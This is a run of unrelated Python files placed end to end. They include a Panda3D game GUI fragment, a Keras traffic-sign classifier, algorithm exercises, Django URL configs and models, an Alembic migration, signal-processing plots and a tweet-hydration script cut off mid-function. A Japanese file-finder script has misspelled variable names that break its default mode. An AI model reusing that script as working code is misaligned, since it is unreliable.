            self.countdownText.show()
            taskMgr.remove(TeamActivityGui.COUNTDOWN_TASK_NAME)
            taskMgr.add(countdownTask, TeamActivityGui.COUNTDOWN_TASK_NAME)

    def hideWaitToStartCountdown(self):
        taskMgr.remove(TeamActivityGui.COUNTDOWN_TASK_NAME)
        self._countdownAlmostDoneCallback = None
        if self.countdownText is not None:
            self.countdownText.hide()
        return

    def _updateCountdownTask(self, task):
        countdownTime = int(task.duration - task.time)
        seconds = str(countdownTime)
        if self.countdownText['text'] != seconds:
            self.countdownText['text'] = seconds
            if countdownTime == 3 and self._countdownAlmostDoneCallback is not None:
                self._countdownAlmostDoneCallback()
                self._countdownAlmostDoneCallback = None
        if task.time >= task.duration:
            return Task.done
        else:
            return Task.cont
        return

    def showTimer(self, duration):
        self.timer.setTime(duration)
        self.timer.countdown(duration, self._handleTimerExpired)
        self.timer.show()

    def hideTimer(self):
        self.timer.hide()
        self.timer.stop()

    def _handleTimerExpired(self):
        self.activity.handleGameTimerExpired()


import cv2
import numpy as np
import os
import sys
import tensorflow as tf
import ntpath

from tensorflow.keras.layers import Dense, Conv2D, MaxPooling2D, Flatten, Dropout

from sklearn.model_selection import train_test_split

EPOCHS = 10
IMG_WIDTH = 30
IMG_HEIGHT = 30
NUM_CATEGORIES = 43
TEST_SIZE = 0.4

def main():

    # Check command-line arguments
    if len(sys.argv) not in [2, 3]:
        sys.exit("Usage: python traffic.py data_directory [model.h5]")

    # Get image arrays and labels for all image files
    images, labels = load_data(sys.argv[1])

    # Split data into training and testing sets
    labels = tf.keras.utils.to_categorical(labels)
    x_train, x_test, y_train, y_test = train_test_split(
        np.array(images), np.array(labels), test_size=TEST_SIZE
    )

    # Get a compiled neural network
    model = get_model()

    # Fit model on training data
    model.fit(x_train, y_train, epochs=EPOCHS)

    # Evaluate neural network performance
    model.evaluate(x_test,  y_test, verbose=2)

    # Save model to file
    if len(sys.argv) == 3:
        filename = sys.argv[2]
        model.save(filename)
        print(f"Model saved to {filename}.")

def load_data(data_dir):
    """
    Load image data from directory `data_dir`.

    Assume `data_dir` has one directory named after each category, numbered
    0 through NUM_CATEGORIES - 1. Inside each category directory will be some
    number of image files.

    Return tuple `(images, labels)`. `images` should be a list of all
    of the images in the data directory, where each image is formatted as a
    numpy ndarray with dimensions IMG_WIDTH x IMG_HEIGHT x 3. `labels` should
    be a list of integer labels, representing the categories for each of the
    corresponding `images`.
    """
    list_of_all_img_arr = []
    list_of_all_labels = []

    list_of_labels = os.listdir(data_dir)
    for label in list_of_labels: # for each label
        label_path = os.path.join(data_dir, label)
        img_filenames = os.listdir(label_path)
        for img_filename in img_filenames: # for each image
            img_path = os.path.join(label_path, img_filename)
            img_arr = cv2.imread(img_path) # read in the image as a numpy array
            img_arr = cv2.resize(img_arr, (IMG_WIDTH, IMG_HEIGHT)) # resize the image
            list_of_all_img_arr.append(img_arr) # Append the image numpy array to a list
            list_of_all_labels.append(label) # Append the labels to a list

    return (list_of_all_img_arr, list_of_all_labels) # return a tuple of image arrays and labels

def get_model():
    """
    Returns a compiled convolutional neural network model. Assume that the
    `input_shape` of the first layer is `(IMG_WIDTH, IMG_HEIGHT, 3)`.
    The output layer should have `NUM_CATEGORIES` units, one for each category.
    """
    model = tf.keras.models.Sequential([
        Conv2D(32, (3, 3), activation = "relu", input_shape = (IMG_WIDTH, IMG_HEIGHT, 3)),
        MaxPooling2D(pool_size= (2, 2)),
        Conv2D(32, (3, 3), activation = "relu"),
        MaxPooling2D(pool_size = (2, 2)),
        # Conv2D(32, (3, 3), activation = "relu"),
        # MaxPooling2D(pool_size = (2, 2)),
        Flatten(),
        Dense(128, activation="relu"),
        Dropout(0.5),
        # Dense(64, activation="relu"),
        # Dropout(0.5),

        Dense(NUM_CATEGORIES, activation = 'softmax')
    ])

    model.compile(
        optimizer = "adam",
        loss = "categorical_crossentropy",
        metrics = ['accuracy']
    )

    return model

if __name__ == "__main__":
    main()


import sys
sys.stdin = open("baek18404.txt")
from collections import deque

def bfs(k_row, k_col):

    visited = [[-1] * N for _ in range(0, N)]
    visited[k_row][k_col] = 0
    que = deque()
    que.append((k_row, k_col, 0))

    dr = [-1, -2, -2, -1, 1, 2, 2, 1]
    dc = [-2, -1, 1, 2, 2, 1, -1, -2]

    while que:
        row, col, path = que.popleft()

        for d in range(0, 8):
            next_row = row + dr[d]
            next_col = col + dc[d]

            if next_row < 0 or next_col < 0 or next_row >= N or next_col >= N:
                continue
            if visited[next_row][next_col] == -1:
                visited[next_row][next_col] = path+1
                que.append((next_row, next_col, path+1))
    return visited

N, M = map(int, input().split())
knight_row, knight_col = map(int, input().split())

stones_pos = [0] * M
for i in range(0, M):
    r, c = map(int, input().split())
    stones_pos[i] = [r-1, c-1]

res_visited = bfs(knight_row-1, knight_col-1)
answer = [0] * M
for i in range(0, M):
    row, col = stones_pos[i]
    answer[i] = res_visited[row][col]
print(" ".join(map(str, answer)))


from collections import deque

def yosqp():
    for i in range(1, K + 1):
        temp = queue.popleft()
        if i != K:
            queue.append(temp)
        else:
            if queue:
                print(temp, end=", ")
            else:
                print(temp, end=">")

if __name__ == '__main__':
    N, K = map(int, input().split())
    queue = deque([i for i in range(1, N + 1)])
    print("<", end="")
    while queue:
        yosqp()

Solved/자료구조/리스트/조세퍼드문제.py


from pyecharts.charts import Line
from pyecharts.charts import Boxplot
import numpy as np
import pandas as pd
from pyecharts.globals import CurrentConfig, NotebookType
CurrentConfig.NOTEBOOK_TYPE = NotebookType.JUPYTER_LAB

import pyecharts.options as opts
from pyecharts.globals import ThemeType

city_name = ['beijing', 'shanghai', 'guangzhou', 'shenzhen']
cityes_PM = []
for i in range(4):
    filename = '..//csv//' + city_name[i] + '_AQI' + '_2018.csv'
    pm_data = pd.read_csv(filename)

    get_data = pm_data[['Date', 'PM']]
    month_for_data = []
    for j in get_data['Date']:
        time = j.split('/')[1]
        month_for_data.append(time)
    #   获取每行数据的月份
    pm_data['Month'] = month_for_data
    #   求每个月PM平均值
    month_data = pm_data.groupby(['Month'])
    month_PM = month_data['PM'].agg(['mean'])
    month_PM.reset_index(inplace=True)
    month_PM_average = month_PM.sort_index()
    #   获取每个城市月均PM的数据，转化为int数据类型
    month_PM_data = np.array(month_PM_average['mean'])
    month_PM_data_int = [int(i) for i in month_PM_data]
    cityes_PM.append(month_PM_data_int)
months = ['{}'.format(str(i) + '月') for i in range(1, 13)]

line = (
    Line(init_opts=opts.InitOpts(theme=ThemeType.DARK))
        .add_xaxis(months)
        .add_yaxis("北京", cityes_PM[0])
        .add_yaxis("上海", cityes_PM[1])
        .add_yaxis("广州", cityes_PM[2])
        .add_yaxis("深圳", cityes_PM[3])
        .set_series_opts(label_opts=opts.LabelOpts(is_show=False))
        .set_global_opts(title_opts=opts.TitleOpts(title='2018年北上广深PM2.5全年走势图'),
                         legend_opts=opts.LegendOpts(pos_top='8%')
                         )
)
line.render("..//HTML//8.4.5多个数据源2.html")

大数据可视化技术/py/8.4.5多个数据源2.py


from django.conf.urls import patterns, include, url
from django.contrib.staticfiles.urls import staticfiles_urlpatterns
from django.views.generic.simple import direct_to_template

# Uncomment the next two lines to enable the admin:
from django.contrib import admin
admin.autodiscover()

urlpatterns = patterns('',
    # Examples:
    # url(r'^$', 'kippit.views.home', name='home'),
    # url(r'^kippit/', include('kippit.foo.urls')),

    # Uncomment the admin/doc line below to enable admin documentation:
    # url(r'^admin/doc/', include('django.contrib.admindocs.urls')),

    # Uncomment the next line to enable the admin:
     url(r'^admin/', include(admin.site.urls)),

     url(r'^$','bookmarks.views.main_page'),

     url(r'^bookmarks/',include('bookmarks.urls')),

     url(r'^accounts/login/$','django.contrib.auth.views.login'),

     url(r'^logout/$','django.contrib.auth.views.logout',{'next_page': '/'}),

     url(r'^signup/$','user_registration.views.register_page'),

     url(r'^signup/success/$',direct_to_template,{'template':'sign_up_success.html'}),

     #urls for comments application

     url(r'^comments/',include('django.contrib.comments.urls')),
)

urlpatterns += staticfiles_urlpatterns()


"""initial migration

Revision ID: 004b53756417
Revises: 71f9651db5d6
Create Date: 2017-04-21 22:44:54.798195

"""

# revision identifiers, used by Alembic.
revision = '004b53756417'
down_revision = '71f9651db5d6'

from alembic import op
import sqlalchemy as sa
from sqlalchemy.dialects import mysql

def upgrade():
    ### commands auto generated by Alembic - please adjust! ###
    op.add_column('roles', sa.Column('rolename', sa.String(length=64), nullable=True))
    op.drop_index('name', table_name='roles')
    op.create_unique_constraint(None, 'roles', ['rolename'])
    op.drop_column('roles', 'name')
    op.add_column('users', sa.Column('e_mail', sa.String(length=64), nullable=True))
    op.drop_index('email', table_name='users')
    op.create_unique_constraint(None, 'users', ['e_mail'])
    op.drop_column('users', 'email')
    ### end Alembic commands ###

def downgrade():
    ### commands auto generated by Alembic - please adjust! ###
    op.add_column('users', sa.Column('email', mysql.VARCHAR(length=64), nullable=True))
    op.drop_constraint(None, 'users', type_='unique')
    op.create_index('email', 'users', ['email'], unique=True)
    op.drop_column('users', 'e_mail')
    op.add_column('roles', sa.Column('name', mysql.VARCHAR(length=64), nullable=True))
    op.drop_constraint(None, 'roles', type_='unique')
    op.create_index('name', 'roles', ['name'], unique=True)
    op.drop_column('roles', 'rolename')
    ### end Alembic commands ###


import torch
import torch.nn as nn
import torch.optim as optim
import numpy as np

# entry to get model given dictionary input
def get_model(kw):
        return Model(**kw['model_args'])

# https://raw.githubusercontent.com/Bjarten/early-stopping-pytorch/master/pytorchtools.py
class EarlyStopper:

    def __init__(self, patience, delta):
        self.patience = int(patience)
        self.delta = float(delta)
        self.prev_val = None
        self.counter = 0

    def __call__(self, val):
        if self.prev_val is None:
            self.prev_val = val
            return False
        else:
            improvement = self.prev_val - val
            self.counter += 1 if improvement < self.delta else 0
        if self.counter >= self.patience:
            return True
        self.prev_val = val
        return False

class Model(nn.Module):

    def __init__(self, dimsin, hidden_nodes, dimsout, loss_function, \
                        optimizer_function, lr, wd, epochs, scoring_heuristic, \
                        early_stop_patience, early_stop_delta):
        super().__init__()
        self.dims_in = int(dimsin)
        self.hidden_nodes = int(hidden_nodes)
        self.dims_out = int(dimsout)
        self.loss_func = loss_function
        self.optim_func = optimizer_function
        self.optim_params = {'lr': float(lr), 'weight_decay': float(wd)}
        self.epochs = epochs
        self.scoring_heuristic = scoring_heuristic
        self.early_stop_patience = early_stop_patience
        self.early_stop_delta = early_stop_delta
        self.l1 = nn.Linear(self.dims_in, self.hidden_nodes)
        self.l2 = nn.Linear(self.hidden_nodes, self.dims_out)
        self.current_loss = None
        self.current_state_dict = None
        self.dev = torch.device('cpu:0')

    # learn an (x,y) dataset and return performance and parameters in dict
    def learn(self, x, y, sd=None, allow_earlystop=True):
        x = torch.from_numpy(x.astype(np.float32)).to(self.dev)
        y = torch.from_numpy(y.astype(np.float32)).to(self.dev)
        loss_func = getattr(nn, self.loss_func)()
        optimizer = getattr(optim, self.optim_func)
        optimizer = optimizer(self.parameters(), **self.optim_params)
        epochs = self.epochs
        stopper = EarlyStopper(self.early_stop_patience, self.early_stop_delta)
        if sd is not None and self.scoring_heuristic == 'gradient_heuristic':
            self.load_state_dict(sd)
            epochs = 1
        for i in range(epochs):
            pred = self.forward(x)
            loss = loss_func(pred, y)
            self.current_loss = loss.item()
            optimizer.zero_grad()
            loss.backward()
            optimizer.step()
            if epochs != 1 and stopper(self.current_loss) and allow_earlystop:
                print(f"Stopped @ {i} / {epochs}")
                break
        self.current_state_dict = self.state_dict()
        out = {}
        out['loss'] = loss.item()
        out['score'] = self.score
        out['state_dict'] = self.current_state_dict
        out['trained_for'] = i
        return out

    # forward pass on x
    def forward(self, x):
        relu = self.l1(x).clamp(min=0)
        return self.l2(relu)

    # forward pass with no backprop on x
    def predict(self, x):
        x = torch.from_numpy(x.astype(np.float32)).to(self.dev)
        with torch.no_grad():
            return self.forward(x)

    # calculate score of model
    @property
    def score(self):
        if self.scoring_heuristic == 'norm_heuristic':
            return self.norm_heuristic()
        elif self.scoring_heuristic == 'gradient_heuristic':
            return self.gradient_heuristic()

    # calculate sum of norms of weights
    def norm_heuristic(self):
        norm = 0
        l1 = self.l1.weight.detach().numpy()
        l2 = self.l2.weight.detach().numpy()
        norm += np.linalg.norm(l1)
        norm += np.linalg.norm(l2)
        return norm

    # calculate norm of gradient after one forward pass
    def gradient_heuristic(self):
        loss = self.current_loss
        wi_grads = np.array([])
        for w in [self.l1, self.l2]:
            w = w.weight.grad.numpy().flatten()
            wi_grads = np.append(wi_grads, w)
        wi_grads *= loss
        norm = np.linalg.norm(wi_grads)
        return norm


from scipy.signal import butter, filtfilt
import scipy.io as sio
from numpy.fft import rfftfreq, rfft
import numpy as np
import matplotlib.pyplot as plt
from scipy.signal import freqz
from PIL import Image
import matplotlib.ticker as ticker

def butter_bandpass_filter(data, lowcut, highcut, fs, order=4):
    b, a = butter(N=order, Wn=[lowcut, highcut], fs=fs, btype='band')
    y = filtfilt(b, a, data)
    return y

def item_i(fs, lowcut, highcut):
    plt.figure(1)
    plt.clf()
    order = 4
    b, a = butter(N=order, Wn=[lowcut, highcut], fs=fs, btype='band')
    w, h = freqz(b, a, fs=fs, worN=2000)
    plt.plot(w / (10 ** 6), abs(h), label="order = %d" % order)
    plt.xlabel('Frequency (MHz)')
    plt.ylabel('Gain')
    plt.grid(True)
    plt.legend(loc='best')
    plt.show()

def _call_plot_stuff_ii():
    plt.grid()
    plt.xlabel('Frequency (MHz)')
    plt.ylabel('Amplitude')
    plt.legend(loc='upper right')

def item_ii(rf, fs, lowcut, highcut, line=100):
    N = rf.shape[0]
    frequencies = rfftfreq(N, 1. / fs) / (10 ** 6)
    d_sig = rf[:, line]
    one_sided_power_spectrum = abs(rfft(d_sig))
    filtered_signal = butter_bandpass_filter(d_sig, lowcut, highcut, fs, order=4)
    one_sided_filtered = abs(rfft(filtered_signal))
    plt.subplot(3, 1, 1)
    plt.plot(frequencies, one_sided_power_spectrum, label='Original signal')
    plt.title('Signal power spectrum for a line')
    _call_plot_stuff_ii()

    plt.subplot(3, 1, 2)
    plt.plot(frequencies, one_sided_filtered, label='Filtered signal')
    _call_plot_stuff_ii()

    plt.subplot(3, 1, 3)
    plt.plot(frequencies, one_sided_power_spectrum, label='Original signal')
    plt.plot(frequencies, one_sided_filtered, label='Filtered signal')
    _call_plot_stuff_ii()

    plt.show()

def _call_plot_stuff_iii():
    fig = plt.figure()
    ax = fig.add_subplot(111)
    scale_x = 20
    make_it_millimeters = ticker.FuncFormatter(lambda x, pos: '{0:g}'.format(x / scale_x))
    ax.xaxis.set_major_formatter(make_it_millimeters)
    ax.yaxis.set_major_formatter(make_it_millimeters)
    plt.xlabel('Lateral, millimeters')
    plt.ylabel('Depth, millimeters')

def item_iii(rf, fs, lowcut, highcut):
    L = rf.shape[1]
    img = np.empty_like(rf)
    for line in range(L):
        img[:, line] = butter_bandpass_filter(rf[:, line], lowcut, highcut, fs, order=4)
    img = Image.fromarray(img).resize((400, 600))
    mine, maxe = np.min(img), np.max(img)
    _call_plot_stuff_iii()
    plt.title('Raw resulting image')
    plt.imshow(img, cmap='gray')
    plt.show()

    print(np.min(img), np.mean(img), np.max(img))
    img = (255 * (img - mine) / (maxe - mine)).astype(int)
    print(np.min(img), np.mean(img), np.max(img))
    _call_plot_stuff_iii()
    plt.title('Normalized to 0-255')
    plt.imshow(img, cmap='gray')
    plt.show()

if __name__ == "__main__":
    # settings

    rf_file = sio.loadmat('./data/mousekidney.mat')['RawRF']
    fs = 500 * 10 ** 6
    lowcut = 5 * 10 ** 6
    highcut = 50 * 10 ** 6

    # item calls

    # item_i(fs=fs, lowcut=lowcut, highcut=highcut)
    # item_ii(rf=rf_file, fs=fs, lowcut=lowcut, highcut=highcut)
    item_iii(rf=rf_file, fs=fs, lowcut=lowcut, highcut=highcut)


import json,os
from tools_cpython import *

if os.name=='nt':
    copy_command="copy"
else:
    copy_command='cp'

# if not os.path.exists('tagged.json.bkup'):
#     print(os.popen('%s tagged.json tagged.json.bkup'%copy_command).read())

g=line_generator('bkup/tagged.json.old')

of=open("tagged.json","w",encoding='utf8')

for line in g:
    article=json.loads(line)
    sentences=article['sentences']

    new_standard_sentences=[]
    for sentence in sentences:
        index,parse,enhancedPlusPlusDependencies=sentence['index'],"NOT_IMPLEMENTED",sentence["enhancedPlusPlusDependencies"]
        dep=sentence["enhancedPlusPlusDependencies"]
        # sentenceStr=" ".join(map(lambda x:x[1]
        #                                 ,sorted([(k['index']
        #                                 ,k['word']+("/"+lac2penn[k['lac_pos']]) if lac2penn[k['lac_pos']] else "") for k in dep if k!=0])))

        tagged=sorted([{"index":w['index'],"word":w['word'],"type":w['lac_pos'],"start":w['characterOffsetBegin'],"length":w['characterOffsetEnd']-w['characterOffsetBegin']+1} for w in dep],key=lambda x:x['index'])
        tokenDict=call_stanford(tagged)

        for w in tagged:
            if w['type']=="w":
                tokenDict[str(w['index'])]=new_token(index=str(w['index']),word=w['word'],pos="PU",lac_pos="w",dep="-",head="0",begin=w["start"],end=w["start"]+w['length'])
        # for k in special_r:
        #     tokenDict[k] = new_token(index=str(k), word=special_r[k], pos=None, lac_pos=None, dep=None,
        #                                       head=None, begin=None, end=None)
        # tokenDict[0] = new_token(index='0', word="[ROOT]", pos=None, lac_pos=None, dep=None, head=None, begin=None,
        #                            end=None)

        ranked_token={}
        for i in sorted([int(k) for k in tokenDict]):
            ranked_token[str(i)]=tokenDict[str(i)]

        # for k in tokenDict:
        #     assert isinstance(k,int)
        #     break
        standard_sentence=new_sentence_repr(index=sentence['index'],tokenDict=ranked_token,manual_relations=sentence['manual_relations'])
        new_standard_sentences.append(standard_sentence)

        # print(ranked_token)

    newArticle={}

    newArticle['fact']=article['fact']
    newArticle['meta']=article['meta']
    newArticle['sentences']=new_standard_sentences

    of.write(json.dumps(newArticle,ensure_ascii=False)+"\n")


"""
Definition of urls for EzziliProject.
"""

from django.conf.urls import patterns, include, url
from EzziliApp.views import AdvertsPhotos, AdvertDataView, PhotoList, Photodetail, AdvertDetails, PropertyAdvertDetails, BasicAdvertDetails

# Uncomment the next two lines to enable the admin:
from django.contrib import admin
from EzziliProject import settings

admin.autodiscover()

photourls = patterns('',
                     url(r'^$', PhotoList.as_view(), name='photo-list'),
                     url(r'^/(?P<pk>\d+)$', Photodetail.as_view(), name='Photo-list'))
urlpatterns = patterns('', url(r'^(?P<pk>\d+)/photos$', AdvertsPhotos.as_view(), name='advertphoto-list'),

    # Examples:
    # url(r'^$', 'EzziliProject.views.home', name='home'),
    # url(r'^EzziliProject/', include('EzziliProject.EzziliProject.urls')),

    # Uncomment the admin/doc line below to enable admin documentation:
     url(r'^admin/doc/', include('django.contrib.admindocs.urls')),
     url(r'^photos', include(photourls)),
     url(r'^account/', include('account_api.urls')),
     url(r'^media/(?P<path>.*)$', 'django.views.static.serve', {'document_root': settings.MEDIA_ROOT}),
    # Uncomment the next line to enable the admin:
     url(r'^admin/', include(admin.site.urls)),
     url(r'^$',AdvertDataView.as_view(), name='Advert-list'),
      url(r'^advert/(?P<pk>\d+)/facdetails$', AdvertDetails.as_view(), name='Facility-list'),
       url(r'^advert/(?P<pk>\d+)/propertydetails$', PropertyAdvertDetails.as_view(), name='Property-list'),
        url(r'^advert/(?P<pk>\d+)/basicinfodetails$', BasicAdvertDetails.as_view(), name='Basic-list'),
     url(r'^(?P<pk>\d+)/photos$', AdvertsPhotos.as_view(), name='advertphoto-list'),

)


import sys
import os
import fnmatch
import datetime
import math

#引数の確認と使い方を表示
if len(sys.argv) <= 1:
	print("[USAGE] findfile [--name][--wild][--desc] nae")
	sys.exit(0)

#オプションの初期値
searth_mode = "name"
serch_func = lambda target, name : (target == name) #targetとnameが一致したらTrueを返す。(target == name)のかっこは読みやすくするためのもの
name = ""
desc_mode = False

#オプションを解析
for v in sys.argv:
	if v == "--name":
		search_mode = "name"
		serach_func = lambda target, name : (target == name)
	elif v == "--wild":
		search_mode = "wild"
		search_func = lambda target, pat : fnmatch.fnmatch(target, pat)
	elif v == "--desc": desc_mode = True
	else:
		name = v #コマンドライン引数として指定したファイル名またはワイルドカードを取得

#オプションの解析結果を表示
print("+option")
print("| search_mode=", search_mode, name)
print("| desc_mode=", desc_mode)

#ファイルの検索を開始
for root, dirs, files in os.walk("."):
	for fname in files:
		path = os.path.join(root, fname)
		b = search_func(fname, name)
		if b == False: continue #Falseなら37行目に戻って繰り返し
		if desc_mode:
			info = os.stat(path)
			kb = math.ceil(info.st_size / 1024)
			mt = datetime.datetime.fromtimestamp(info.st_mtime)
			s = "{0}, {1}KB,{2}".format(path, kb, mt.strftime("%Y-%m-%d"))
			print(s)
		else:
			print(path)


import re
from typing import List, Dict, Tuple
from loguru import logger
import pandas as pd

from PropertyParserInterface import PropertyParserInterface

class RevisionsParser(PropertyParserInterface):
    def __init__(self, lines: List[str]):
        super().__init__(lines)
        # Pattern to detect date in any format
        self.datePattern = re.compile(r"^[0-9]{2,4}[\/\-\.]([0-9]{2}|[A-Za-z]+)[\/\-\.][0-9]{2,4}$")
        # Pattern to detect possible two columns in one line. Parametrized to use for 2-4 columns.
        self.columnsPattern = "^[ ]{0,5}((?:\S+(?:(?!\s{2}).)+)(?:[ ]{3,}(?:\S+(?:(?!\s{2}).)+)){%d})$"
        self.versionDetectionPattern = re.compile(r"[a-zA-Z\.]{0,10}[0-9]+[\.][0-9]+$")
        self.versionPattern = re.compile(r"([0-9]+[\.][0-9]+)")

    def find_keywords(self, lines: List[str], keywords: List[str]) -> list:
        """ Find keywords in text, return list of line numbers """
        subs = [string.lower() for string in keywords]
        # Find line indexes where the substring is
        start_idxs = [i - 1 for i, line in enumerate(lines) if any(map(line.lower().__contains__, subs))]
        return start_idxs

    def is_table_header(self, string: str, keywords: List[str]):
        """ Check line if it can be a table header """
        score = 0
        columns = re.split(r" {2,}", string)
        if len(columns) > 4 or len(columns) < 2:
            return False
        # Check if does not contain numbers or symbols
        is_alpha_or_space = all(c.isalpha() or c.isspace() for c in string)
        if not is_alpha_or_space: return False
        return True

    def extract_formatting_params(self, line: str) -> List[int]:
        """ Tries to extract start indexes for each column """
        # Split line by two or more spaces
        columns = [x for x in re.split("\s{2,}", line) if x]
        # We need to find index of each column in string.
        # As split does not give indexes, let's try to find by first occurence
        indexes = [line.find(column) for column in columns]
        return indexes

    def most_frequent(self, List):
        return max(set(List), key = List.count)

    def extract_table(self, lines: List[str], number_of_cols: int, pattern: str):
        """ Tries to extract table with given number of columns using
            the given regex pattern """
        table_header_keywords = ['Date', 'Description', 'Rev', 'Revision', 'Version']
        table_header = prev_line_format = table = []
        table_header_found = False
        false_lines = final_lines = 0
        for line in lines:
            result = re.findall(pattern, line)
            columns = [x for x in re.split(" {2,}", line) if x]
            if false_lines > 4: return []
            if final_lines > 1: break
            if len(table) > 0:
                # Check the newline at the end
                if line == '\n':
                    final_lines += 1
                    # Reset format indexes to avoid false positives in case of new line
                    prev_line_format = []
                    continue
                else:
                    final_lines = 0
                # Adds line to the table if line is part of the previous
                formatting = self.extract_formatting_params(line)
                if len(formatting) == 1 and formatting[0] in prev_line_format:
                    for i, col in enumerate(prev_line_format):
                        if(formatting[0] == col):
                            table[-1][i] += " " + line
                            break
                    continue
            # Filtering inconsistent data or ToC
            if len(result) == 0 or len(re.findall("[\.]{4,}", line)) > 0:
                false_lines += 1
                continue
            if not table_header_found and self.is_table_header(line, table_header_keywords):
                if len(columns) == number_of_cols:
                    table_header = columns
                    table_header_found = True
                    # Table line cannot exist before header
                    table = []
                continue

            table.append(list(columns))
            # Find start indexes
            prev_line_format = self.extract_formatting_params(line)
            false_lines = 0
        if table_header_found:
            return pd.DataFrame(table, columns=table_header)
        else:
            return pd.DataFrame(table)

    def find_table(self, start: List[int], lines: List[str]):
        """ Try to find tables """
        possible_tables = []
        for id in start:
            # We take next line after found keyword
            next_line = id + 1
            for i in range(2, 5):
                pattern = re.compile(self.columnsPattern % (i - 1))
                table = []
                try:
                    table = self.extract_table(lines[next_line:], i, pattern)
                    table = self.postprocess(table)
                except Exception as e:
                    logger.error(f"Parsing table failed. Skipping this one. (exception: {e})")
                    table = []
                if len(table) > 0:
                    possible_tables.append(table)
        # TODO: include table score to select better
        best_table = []
        if len(possible_tables) > 0:
            best_table = max(possible_tables, key=len)
        return best_table

    def process_ver(self, input: str) -> str:
        """ Extract version from string """
        res = re.findall(self.versionPattern, input)
        if len(res) == 0:
            return ''
        return res[0]

    def process_desc(self, input: str) -> str:
        """ Format description nicely """
        return " ".join(input.split())

    def postprocess(self, table: pd.DataFrame) -> pd.DataFrame:
        """ Find data types of columns. If found correctly
        remove unwanted spaces and symbols from the revision table """

        allowed_cols = ['version', 'date', 'description']
        ver_kwords = ['Version', 'Revision', 'Rev']
        date_kwords = ['Date']

        if len(table) == 0:
            return []

        # Try to extract data types from columns based on score
        for col in list(table.columns):
            date_score = ver_score = other_score = 0
            for i in range(len(table)):
                val = table[col].iloc[i]
                date_match = re.findall(self.datePattern, val)
                if len(date_match) > 0:
                    date_score += 1
                ver_match = re.findall(self.versionDetectionPattern, "".join(val.split()))
                if len(ver_match) > 0:
                    ver_score += 1
            if ver_score > date_score:
                table.rename(columns={col : 'version'}, inplace=True)
            if date_score > ver_score:
                table.rename(columns={col : 'date'}, inplace=True)
        # Description is always the last
        table.columns = [*table.columns[:-1], 'description']
        # Remove unused columns
        resulting_table = table[table.columns.intersection(allowed_cols)].copy(deep=True)
        # Postprocess data
        # If version and description columns were not detected, this table is bad
        if not ('version' in resulting_table and 'description' in resulting_table):
            return []
        # Clean-up of values
        resulting_table.loc[:,'version'] = resulting_table['version'].map(self.process_ver)
        resulting_table.loc[:,'description'] = resulting_table['description'].map(self.process_desc)

        return resulting_table

    def dataframe_to_dict(self, table: pd.DataFrame) -> List[dict]:
        """ Convert dataframe to dictionary. Accepts only columns named
            'version', 'date' and 'description' """
        out = []
        for i, row in table.iterrows():
            revision_item = dict()
            if 'version' in table.columns:
                revision_item['version'] = row['version']
            else: revision_item['version'] = ""
            if 'date' in table.columns:
                revision_item['date'] = row['date']
            else: revision_item['date'] = ""
            if 'description' in table.columns:
                revision_item['description'] = row['description']
            else: revision_item['description'] = ""
            out.append(revision_item)
        return out

    def parse(self) -> List[dict]:
        """ Main parsing function """
        keywords = ['Revision History', 'Version Control']
        indexes = self.find_keywords(self.lines, keywords)
        table = self.find_table(indexes, self.lines)
        if len(table) > 0:
            return self.dataframe_to_dict(table)
        return []


#from backend.api.models.champion_match_performance import champion_match_performance
from django.db import models
from django.db.models import Q, F, Sum, Avg, Value as v, Count, FloatField, IntegerField
from django.db.models.functions import Coalesce
from django.contrib.postgres.fields import JSONField

class ChampionManager(models.Manager):
    def with_stats(self):
        from api.models.matches import matches
        from api.models.champion_match_performance import champion_match_performance

        return self.annotate(kills=Coalesce(Avg('champion_match_performance__kills'),v(float(0)))
        , deaths=Coalesce(Avg('champion_match_performance__deaths'),v(float(0)))
        , assists=Coalesce(Avg('champion_match_performance__assists'),v(float(0)))
        , picks=Coalesce(Count('champion_match_performance'), v(float(0)), output_field=FloatField())
        , pentas=Coalesce(Sum('champion_match_performance__pentakills'), v(float(0)), output_field=FloatField())
        , wins = Coalesce(Count('champion_match_performance',filter=Q(champion_match_performance__win=1)), v(float(0)), output_field=FloatField())
        , bans=Coalesce(Count('champion_match_bans'), v(float(0)), output_field=FloatField())
        , total_matches=v(float(matches.objects.count()))
        )

class champions(models.Model):
    objects = ChampionManager()
    name = models.CharField(
        max_length=100,
        null=False,
        blank=False,
        db_index=True,
        default="empty"
    )

    id = models.CharField(
        max_length=100,
        null=False,
        blank=False,
        db_index=True,
        primary_key=True,
        default="empty"
    )

    version = models.CharField(
        max_length=20,
        null=False,
        blank=False,
        db_index=True,
        default="empty"
    )

    key = models.CharField(
        max_length=20,
        null=False,
        blank=False,
        db_index=True,
        default="empty",
        unique=True
    )

    title = models.CharField(
        max_length=100,
        null=False,
        blank=False,
        default="empty"
    )

    blurb = models.TextField(
        null=False,
        blank=False,
        default="empty"
    )

    info = models.JSONField(
        null=False,
        blank=False,
        default=dict
    )

    image = models.JSONField(
        null=False,
        blank=False,
        default=dict
    )

    tags = models.JSONField(
        null=False,
        blank=False,
        default=dict
    )

    partype = models.CharField(
        max_length=20,
        null=False,
        blank=False,
        default="empty"
    )

    stats = models.JSONField(
        null=False,
        blank=False,
        default=dict
    )

    def __str__(self):
        return f'''{self.id} - {self.version}'''

    def update(self, *args, **kwargs):
        for value, key in kwargs.items():
            try:
                setattr(self, value, key)
            except KeyError:
                pass
        self.save()


from twarc import Twarc
import json
from pathlib import Path
import os
import gzip
import time
from tqdm import tqdm
from multiprocessing import Process, SimpleQueue

from utils import load_configs

def hydrate(cfs):
    jobs = []
    squeue = SimpleQueue()
    data_dirs = ['2020-01', '2020-02', '2020-03', '2020-04']

    # create folder here to avoid data racing
    if not os.path.isdir('hydrated'):
        os.makedirs('hydrated')

    for data_dir in data_dirs:
        full = os.path.join('hydrated', data_dir)
        print(full)
        if not os.path.isdir(full):
            os.makedirs(full)

    fc_process = Process(target=file_creator, args=(squeue, len(cfs),))
    jobs.append(fc_process)
    fc_process.daemon = True
    fc_process.start()

    for cf in cfs:
        # unpack keys
        account = cf['account']
        p = Process(target=hydrated_cycle, args=(account, squeue,))
        jobs.append(p)
        p.daemon = True
        p.start()

    [j.join() for j in jobs]

def file_creator(squeue, n_workers):
    data_dirs = ['2020-01', '2020-02', '2020-03', '2020-04']

    for data_dir in data_dirs:

        for p in Path("COVID-19-TweetIDs/" + data_dir).iterdir():

            if p.name.endswith(".txt"):
                partial_path = os.path.join(data_dir, p.name)
                print("inserting:", partial_path)
                squeue.put(partial_path)

    # n work done indicator
    for _ in range(n_workers):
        squeue.put("done")

def hydrated_cycle(account, squeue):
